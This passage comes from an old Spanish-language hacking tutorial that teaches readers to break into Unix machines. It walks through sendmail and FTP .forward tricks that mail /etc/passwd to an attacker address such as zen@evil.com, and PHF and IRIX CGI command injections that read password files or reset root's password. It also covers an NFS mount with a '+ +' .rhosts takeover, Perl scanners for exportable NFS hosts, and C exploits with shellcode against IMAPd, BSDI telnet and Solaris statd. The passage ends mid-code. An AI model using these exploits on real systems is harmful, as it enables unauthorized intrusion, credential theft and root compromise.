Este metodo, y usando este script, os puede hacer conseguir muchos passwords pero hay que currarselo mucho :o(. Obviamente, solo pensando un poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que da bastante informacion sobre los usuarios aunque esta informacion cuando es realmente util es combinada con otros sistemas de ataque :)

Hay muchos mas sistemas de ingenieria social como la chica necesitada de ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado la pena explicarlo mas. Ademas, como en todos estos temas, el unico limite es tu imaginacion :o)

Como es pesado buscar manualmente, puedes buscar maquinas con finger usando un script hecho en shell y usando listas de hosts como las que se explicaran en el apartado de nfs.

Ademas, para los que veais que este metodo es un poco coñazo, el script este siempre es util ya que tened en cuenta que las maquinas que tengan el finger abierto son maquinas que no estan muy concienciadas por la seguridad no?.. jeje.. mejor no sigo dando ideas :o) aunque tened en cuenta que esto no siempre sera cierto ya que es posible que usen los tcp-wrappers.

Nota: El tcp-wrapper es un programa que permite filtrar ip por los distintos puertos e indicar que demonio o programa se ejecuta en cada uno de los puertos por lo que podeis ver todas las aplicaciones maleficas que pueden conseguir los roots usando este tipo de programas por lo que cuidado ahi fuera.

4.3.- CONSEGUIR FICHERO DE PASSWD A TRAVES DE ALGUN BUG

En fin, hay muchos bugs y xploits que te permiten el acceso al fichero de passwd pero aqui voy a exponer algunos que aunque son antiguos son bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke hay muchos.. de todos modos, en los apartados de pillar root, pondre xploits modernos y que funcionan ;o).. estos los he elegido aunque sean un poco antiguos porque son bastante ilustrativos:

Sistemas: **Unix's en general, espacialmente AIX y SUNOS**
Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas

```
tumaquina% telnet victima.com 25
Trying X.Y.Z.A...
Connected to victima.com
Escape character is '^]'.
220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"
250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok
rcpt to: loquequieras
550 loquequieras... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
```

Notas:
-victima.com = nombre del ordenador a hackear
-mimaquina = nombre de nuestro ordenador
-Lo que aparece con un numero delante son mensajes de nuestra victima,
el resto es lo que tienes que escribir.

La idea de este bug, es que usualmente, en el sendmail en la linea de mail from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui, le dices que te mande el fichero /etc/passwd. Pero os digo una cosa sinceramente, este bug no funciona casi nunca, y si funciona, felicidades , estas en una maquina que el rOOt no tiene ni puta idea,

Como conseguir el fichero /etc/passwd si el ftp esta mal configurado

La victima debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes ver que normalmente nunca aparece el fichero verdadero :(, pero el home directory de "ftp" puede ser escribible en victim.com. Esto te permite ejecutar comandos remotamente - en este caso, mandarte el archivo por mail a ti mismo - por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta "ftp".

```
evil % cat forward_sucker_file
 "|/bin/mail zen@evil.com < /etc/passwd"

 evil % ftp victim.com
```

```
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x  4 101      1            512 Jun 20  1991 .
drwxr-xr-x  4 101      1            512 Jun 20  1991 ..
drwxr-xr-x  2 0        1            512 Jun 20  1991 bin
drwxr-xr-x  2 0        1            512 Jun 20  1991 etc
drwxr-xr-x  3 101      1            512 Aug 22  1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
```

Ahora simplemente tienes que esperar a que el fichero de passwords te sea enviado.

Ejecutar comandos de manera remota en Irix con cgi-bin/handler

El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura de ficheros. Sin embargo existe un bug que da paso a la ejecucion remota de comandos. El sistema intentara abrir el fichero (taluego_Lucas) y si no existe dara un mensaje de error para a continuacion -ejecutar el comando que sigue. Muy importante, el espacio entre el comando cat y su argumento es un *tabulador* (TAB), no se admiten espacios asi que aunque podeis poner otro comando que no sea cat no podreis poner ningun comando que requiera espacios.

```
$ telnet victima.com 80
$ GET /cgi-bin/handler/taluego_Lucas;cat   /etc/passwd|?data=Download
$ HTTP/1.0
```

En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio fue que el formato del bug pase a ser:

```
$telnet victima.com 80
$GET /cgi-bin/handler/whatever;cat    /etc/passwd|   ?data=Download
$HTTP/1.0
```

Con un nuevo TAB para "engañar" al script PERL.

Hay muchos mas, pero no me apetece seguir buscando.. quiza para posteriores ediciones...ademas en esta categoria tambien entra el PHF que esta explicado mas adelante.

4.4.- MOUNT

Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy a intentar explicarlo extensamente para que sepais lo que estais haciendo:

El NFS (Network File System) es un sistema de red que permite que una maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos directorios pudiendolos usar como si los poseyera.

Otra cosa muy distinta es lo que se pueda hacer con los ficheros incluidos en dichos directorios (si se pueden borrar, modificar, alterar los permisos, etc), lo cual depende de la configuracion del NFS. En realidad, no es dificil configurar el NFS para que no pueda haber problemas de seguridad, usando las opciones ro y rw en la

configuracion que indican que clientes tienen acceso de lectura y escritura respectivamente. Por tanto, los problemas aparecen cuando no han sido utlidas estas opciones correctamente y cualquier usuario remoto puede leer y escribir... gracias a dios hay root que dan facilidades :o)

Mount es el comando en unix que permite montar archivos en tu maquina para conseguir el objetivo expuesto anteriormente.

Para ver si una maquina remota con NFS tiene files montables se hace siendo root en la maquina donde estas usando el comando showmount. Este comando se utiliza para determinar que sistema ha montado un sistema de archivos desde un sistema dado. Con el parametro –a muestra todos los sistemas de archivos que se han montado desde el nodo servidor mientras que el comando –e muestra la lista de todos los sistemas de archivos exportados.

Como root, has de ejecutar en tu maquina:

```
$root> showmount –e hostvictima.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
```

Si la respuesta es algo de este estilo... quiere decir que no ha habido suerte :o(

```
$root> showmount -e otra.net
Export list for otra.net:
/var/mail                       makina1.otra.net
/home/user1                        makina1.otra.net
/usr/local                      pluto.seva.net,rover.seva.net
/export/X11R6.3                      makina2.otra.net
/export/rover                    makina1.otra.net,makina2.otra.net
```

En esta maquina no hay accesos del tipo everyone que sean interesantes :o(.. bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de este texto ;o)

Seguimos buscando hasta que encontremos una maquina victim.com que nos ponga algo del tipo

```
/home                   (everyone)
o
/                       (everyone)
```

BINGO!!!!!

Una vez pillemos una makina de estas caracteristicas, se pueden hacer muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de hacking aunque pensando un poko se te pueden okurrir otros :)

Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre de un usuario de la maquina remota.. para cada caso sera uno distinto) en nuestro fichero de passwd local (es decir, el de nuestra maquina) y luego como usuario rapper (cambiamos a ese usuario con el su) pondremos una entra .rhosts en su directorio home para poder hacer un rlogin sin password.

Primero, creamos el directorio donde lo vamos a montar

```
mimaquina:~>mkdir /tmp/mount
mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/
```

y con esto ya tendremos montado el directorio de la maquina remota en nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos sus archivos :o)

```
mimaquina:~>ls -lsa /tmp/mount/
total 9
  1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
  1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
  1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
  1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
  1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
  1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
  1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
  1 drwx------   3 test     100          1024 Oct  8 21:05 test/
  1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/
```

Vemos que hay un usuario llamado rapper cuyo UID (User Identification) es 102 por lo que lo tendremos que incluir en el /etc/passwd de nuestra maquina:

```
mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

mimaquina:~>su - rapper
Welcome to rapper's user.
mimaquina:~>ls -lsa /tmp/mount/
  total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/
```

Asi, poseemos el directorio de rapper por lo que podemos usar las propiedades del .rhosts (escribimos + + en su .rhosts y luego hacemos un rlogin):

```
mimaquina:~>echo "+ +" > rapper/.rhosts
mimaquina:~>cd /
mimaquina:~>rlogin –l rapper victima.com
Welcome to Victima.Com.
SunOs ver....(crap).
victima:~$
```

y ya tienes una cuenta en el sistema ¡!

Para desmontar el archivo, sal de este directorio y ejecuta:

```
mimaquina:~> umount /tmp/mount
```

Tened en cuenta que para este metodo, hemos de tener acceso a la maquina por rlogin, asi que si no es el caso, este metodo tambien admite otras posibilidades pero eso se deja para otro texto :)

Como lo mas coñazo de este metodo es buscar maquinas con ficheros exportables, a continuacion expongo un script escrito por Invisble Evil en perl que te permite buscar automaticamente. Para usarlo previamente se han de conseguir listas de maquinas que se pueden obtener usando el host –l nombredominio > salida y luego usando un script para obtener los ip del fichero salida o se pueden obtener listas de maquinas que hay en internic (se obtienen por ftp de rs.internic.net) y que son listas de maquinas con esa extension:

```
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
```

cuando tengas estos files bajados y tras hacer un gunzip, tendras que ejecutar el script en perl:

```
"perl getdomain.pl com.zone com >com.all"
perl getdomain.pl edu.zone edu >edu.all
```

Y asi con todos, obteniendo ficheros com.all, edu.all y sucesivamente donde tendras la lista de maquinas.

getdomain.pl

```
---- cut here
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
```

```
   # Questions /msg i-e  or  /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
my(@lines) = <INFILE>;

# Initialize main data structure.
my(%hash) = {};
my($key) = "";

foreach (@lines) {
  $key = (split(/\ /))[0];
  chop($key);
  next if ((($key =~ tr/.//) < 1) ||
           (uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
           ($key =~ m/root-server/i));
  $hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
  print "$_\n";
}

sub usage {
  print("\n\ngetdomain:\n");
  print("Usage: getdomain [inputfile] [search]\n\n");
  print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
  exit(0);
}

0;
```

---- cut here - end of script -----

Tras obtener la lista de maquinas usando el anterior script (edu.all, com.all, etc..), se ha de usar el script que se expone a continuacion para obtener los resultados del showmount –e:

En cada dominio, este script busca si hay discos montables y guarda la info en el directorio actual en ficheros llamados domain.XXX.export... asi solo tienes que ver estos logs y mirar si ha habido suerte !!!!

---------- start of cmount.pl

```
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
```

```
$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);

# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
  die("mountDomains: Cannot open $DomainFilename for input.\n");

while (<DOMAINFILE>) {
  chomp($_);
  print "Now checking: $_";

  # Note difference in program output capture from "geturl.pl".
  open (EXECFILE, "$program $_ |");
  @execResult = <EXECFILE>;
  next if (!defined($execResult[0]));
  if ($execResult[0] =~ /^Export/) {
    print " - Export list saved.";
    open (OUTFILE, ">$_.export");
    foreach (@execResult) {
      print OUTFILE;
    }
    close (OUTFILE);
  }
  close(EXECFILE);
  print "\n";
}

# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
---------- end of cmount.pl
```

Una nota final a todo este coñazo, lo pongo aqui para que solo lo lean los que se leen los textos enteros (jeje) es que /export/foo es el home directory del usuario guest por lo que aunque no nos dejen exportar el directorio /home, en caso de que nos dejen exportar el directorio /export, se podra aplicar este mismo metodo pero teniendo en cuenta de que en lugar de usar el usuario rapper se usara el usuario guest

suerte ahi fuera.....

4.5.- PHF

Este sistema es antiguo y ampliamente conocido por todo el mundo, pero aunque parezca mentira sigue funcionando y por ello lo expongo en este texto.

El phf es un fichero que se encuentra en el directorio /cgi-bin de maquinas unix que ofrezcan este servicio y sirve para buscar direcciones, pero habilmente utilizado puede servir para ejecutar comandos remotos sobre dicha maquina pero no se pueden usar pipes, quotes, etc. En este texto nos vamos a centrar en su uso para la obtencion del fichero passwd de un sistema aunque pensando un poco se le pueden dar otras aplicaciones bastante interesantes ya que te permite ejecutar comandos en la maquina victima.

Vamos a empezar comentando el uso mas extendido para luego dar otras ayudas para su uso asi como otras aplicaciones:

Asi, escribe en tu navegador:

```
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
     (       1      )(     2     )(     3    )(   4  )(5)(    6     )
```

1.- El site que quieras atacar.
2.- El comando phf.
3.- Aqui es donde esta el secreto.
4.- El programa que quieres que se ejecute.
5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.
6.- Y pues aqui va el archivo o directorio que quieres ver.

Tras ejecutar este xploit, pueden suceder varias cosas:

1.- Que no se encuentre el archivo phf, porque los administradores que son un poco mas listos han desactivado esta opcion o que sea astuto y un poco borde y te mande algun nuke al intentarlo .. todo no iba a ser bonito ¡!! :o(Esto pasa en algunas maquinas sobre todo si son de hackers :o)

2.- Que te salga el archivo, pero los password no estan de la manera habitual. Entonces, pueden pasar dos cosas, que este shadow o que este el NIS instalado. Si estamos en el segundo caso, se puede identificar porque en la ultima linea del fichero tiene una cadena parecida a esta "+::0:0:::" Si NO TE SALE, intenta poner en la linea del navegador, en vez de /etc/passwd pues /etc/shadow u otro archivo dependiendo del sistema (si el httpd rula como root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso indica que tiene activado el sistema de archivos NIS, y por lo cual posiblemente funcione el comando "ypcat" para leer el passwd. La linea seria la siguiente:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

Con esto te saldran todas las cuentas sin sombrear, o sea lo que quiere decir que puedes crackear el fichero passwd

Si todo sale bien el resultado sera del tipo:

QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

Y una vez tienes este texto en la pantalla de tu navegador, solo tienes que hacer un guardar como.

Pero el PHF te da muchas mas posibilidades, ya que si el server esta corriendo su httpd server como root, se puede obtener el acceso de root.

Usando

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id

Usamos el id para conocer la identificacion del user. Recuerda que el root es id=0 aunque lo usual es que corra bajo nobody y te saldria algo de este tipo:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

Si en lugar de correr como usuario nobody, corriese como root, podriamos usar comandos como root, interesante no??

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

Estos dos ya han sido explicados anteriormente. El que muestro a continuacion podria ser util para ver todos los ficheros del directorio /etc que empiezan con la palabra pass.

http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*

Los tres comandos anteriores funcionaran aunque no corra como root, pero para los siguientes si que es necesario el root, pero son los mas interesantes:

Cambiar el password del root (no funciona mucho pero si a veces):

http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root

Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo root es practicamente como si tuviesemos una cuenta de root en la maquina, asi que ya sabeis..... kreo ke sobran los komentarios no? }-)

Bien, todo lo que he contado es suponiendo que usais el navegador como el Netscape para el ventanukos o usar el Netscape o lynx para linux, pero adjunto un programa para que podais usar comandos para el phf desde el shell que es mas comodo y ademas si usais una maquina de condon, no teneis que depender de si esa maquina tiene navegadores o no.

En fin, el codigo es el siguiente:

```
/* Some small changes for efficiency by snocrash. */
/*
 * cgi-bin phf exploit by loxsmith [xf]
 *
 * I wrote this in C because not every system is going to have lynx.  Also,
 * this saves the time it usually takes to remember the syntatical format
 * of the exploit.  Because of the host lookup mess, this will take
 * approximately 12 seconds to execute with average network load.  Be patient.
 *
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
    int argc;
    char **argv;
{
    int i = 0, s, port, bytes = 128;
```

```
    char exploit[0xff], buffer[128], hostname[256], *command, j[2];
  struct sockaddr_in sin;
  struct hostent *he;

  if (argc != 3 && argc != 4) {
      fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
      exit(1);
  }

  command = (char *)malloc(strlen(argv[1]) * 2);

  while (argv[1][i] != '\0') {
      if (argv[1][i] == 32) strcat(command, "%20"); else {
          sprintf(j, "%c", argv[1][i]);
          strcat(command, j);
      }
      ++i;
  }

  strcpy(hostname, argv[2]);
  if (argc == 4) port = atoi(argv[3]); else port = 80;

  if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
      he = gethostbyname(hostname);
          if (he) {
          sin.sin_family = he->h_addrtype;
          memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
                he->h_length);
      } else {
          fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
          exit(1);
      }
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons((u_short) port);

  if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
      fprintf(stderr, "%s: could not get socket\n", argv[0]);
      exit(1);
  }

  if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
      close(s);
      fprintf(stderr, "%s: could not establish connection\n", argv[0]);
      exit(1);
  }

  sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
  free(command);
  write(s, exploit, strlen(exploit));
  while(bytes == 128) {
      bytes = read(s, buffer, 128);
      fprintf(stdout, buffer);
  }
  close(s);
}
```

La sintaxis para usar este codigo es:

phf cat%20/etc/passwd www.maquinavictima.com para hacer un cat passwd

phf id www.maquinavictima.com para hacer un id

phf ls www.maquinavictima.com para hacer un ls

etc... como veis la sintaxis es sencilla y mas comodo que usar el navegador.

Para posteriores ediciones del texto comentare algun codigo interesante que tengo para explotar el phf asi como algun truquillo para obtener mas posibilidades de este bug. ;o) como pillar los ficheros de passwd si esta shadow, evitar filtrado de ip, etc... pensad que una maquina con phf es una maquina en la que puedes ejecutar y ver comandos remotamente.. asi que pensando un poco las posibilidades son infinitas :o)

4.7.- XPLOITS QUE TE DAN DIRECTAMENTE UNA SHELL

En este apartado, voy a poner unos cuantos xploits pero como he dicho anteriormente, la red esta llena de xploits para todos los sistemas operativos y casi todas las versiones asi que aqui solo voy a poner unos cuantos.

En fin, voy a poner uno que da directamente un shell de root debido al bug del impad (puerto 143) en maquinas linux con RedHat:

```
/*
 * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
 *
 * Workz fine against RedHat and imapd distributed with pine
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of
ToXyn !!!
 *
 * usage:
 *      $ (imap 0; cat) | nc victim 143
 *             |
 *             +--> usually from -1000 to 1000 ( try in steps of 100 )
 *
 *             [ I try 0, 100 and 200 - so1o ]
 */

#include <stdio.h>

char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";

char username[1024+255];

void main(int argc, char *argv[]) {
        int i,a;
        long val;

        if(argc>1)
```

```
            a=atoi(argv[1]);
      else
            a=0;

      strcpy(username,shell);

      for(i=strlen(username);i<sizeof(username);i++)
            username[i]=0x90; /* NOP */

      val = 0xbffff501 + a;

      for(i=1024;i<strlen(username)-4;i+=4)
      {
            username[i+0] = val & 0x000000ff;
            username[i+1] = (val & 0x0000ff00) >> 8;
            username[i+2] = (val & 0x00ff0000) >> 16;
            username[i+3] = (val & 0xff000000) >> 24;
      }

      username[ sizeof(username)-1 ] = 0;

      printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
}
```

Otro para **BSDI BSD/OS 2.1** y bien explicadito (aunque en ingles.. pero creo que es demasiado sencillo para traducirno no?):

```
/* Bug originally discovered by Theo de Raadt <deraadt@CVS.OPENBSD.ORG> */

/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
**
** Written by Joseph_K the 22-Oct-1997
**
**
** Original shellcode by mudge@l0pht.com but modified a tiny bit...
**
** This program must be compiled for the BSDI architecture...
** You will need to transfer the file 'termcap' this program creates
** to the host you want to penetrate, possibly by anonymous FTP.
**
** Then start telnet and type:
**
** telnet> env def TERM access
** telnet> env def TERMCAP /path/and/name/of/uploaded/file
** telnet> open victim.host.com
**
** tadaa! r00t shell...
**
** However because of the invalid termcap entry, there can be some
** hazzles....You figure it out....
**
** Fy faen vad jag ar hungrig...
**
** Special Greetz to TWiLiGHT!
**
*/

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "./termcap"
#define entry   "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870    /* Should work...*/
```

```
char shellcode[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
   int i, fd, offs;
   long *bof_ptr;
   char *ptr, *buffer, *tempbuf;

   offs = default_offset;

   if(argc == 2) {
      printf("using offset: %d\n",atoi(argv[1]));
      offs = atoi(argv[1]);
   }

   if(!(buffer = malloc(bufsize))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }


  if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }

   bof_ptr = (long *)buffer;
   for (i = 0; i < bufsize - 4; i += 4)
      *(bof_ptr++) = get_sp() - offs;

   ptr = (char *)buffer;
   for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
      *(ptr++) = 0x90;

   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

   printf("Creating termcap file\n");

   snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
   fd = open(filename, O_WRONLY|O_CREAT, 0666);
   write (fd, tempbuf, strlen(tempbuf));
   close(fd);
}
```

Otro para **Solaris 2.5.1:**

```
/*
 statd remote overflow, solaris 2.5.1 x86
 there is a patch for statd in solaris 2.5, well, it looks like
 they check only for '/' characters and they left overflow there ..
 nah, it's solaris

 usage: ./r host [cmd]  # default cmd is "touch /tmp/blahblah"
                        # remember that statd is standalone daemon

 */
```

```
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;

/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

char
asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xf
b\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x3
6\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0


1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";

char code[4096];

void usage(char *s) {
  printf("Usage: %s host [cmd]\n", s);
  exit(0);
}

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop);
  char *ptr=code;

  if (argc < 2)
    usage(argv[0]);
  if (argc == 3)
    cmd[2]=argv[2];

  for (i=0; i< sizeof(code); i++)
    *ptr++=nop[i % noplen];

  strcpy(&code[750], asmcode);  /* XXX temp. */
  ptr=code+strlen(code);
  for (i=0; i<=strlen(cmd[0]); i++)
    *ptr++=cmd[0][i]-1;
  for (i=0; i<=strlen(cmd[1]); i++)
    *ptr++=cmd[1][i]-1;
  for (i=0; i<=strlen(cmd[2]); i++)
    *ptr++=cmd[2][i]-1;
  ptr=code+BUFSIZE-(ADDRS<<2);
  for (i=0; i<ADDRS; i++, ptr+=4)
    *(int *)ptr=ADDRP;
  *ptr=0;

  printf("strlen = %d\n", strlen(code));
```

```
  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name="localhost";
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name=code;

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
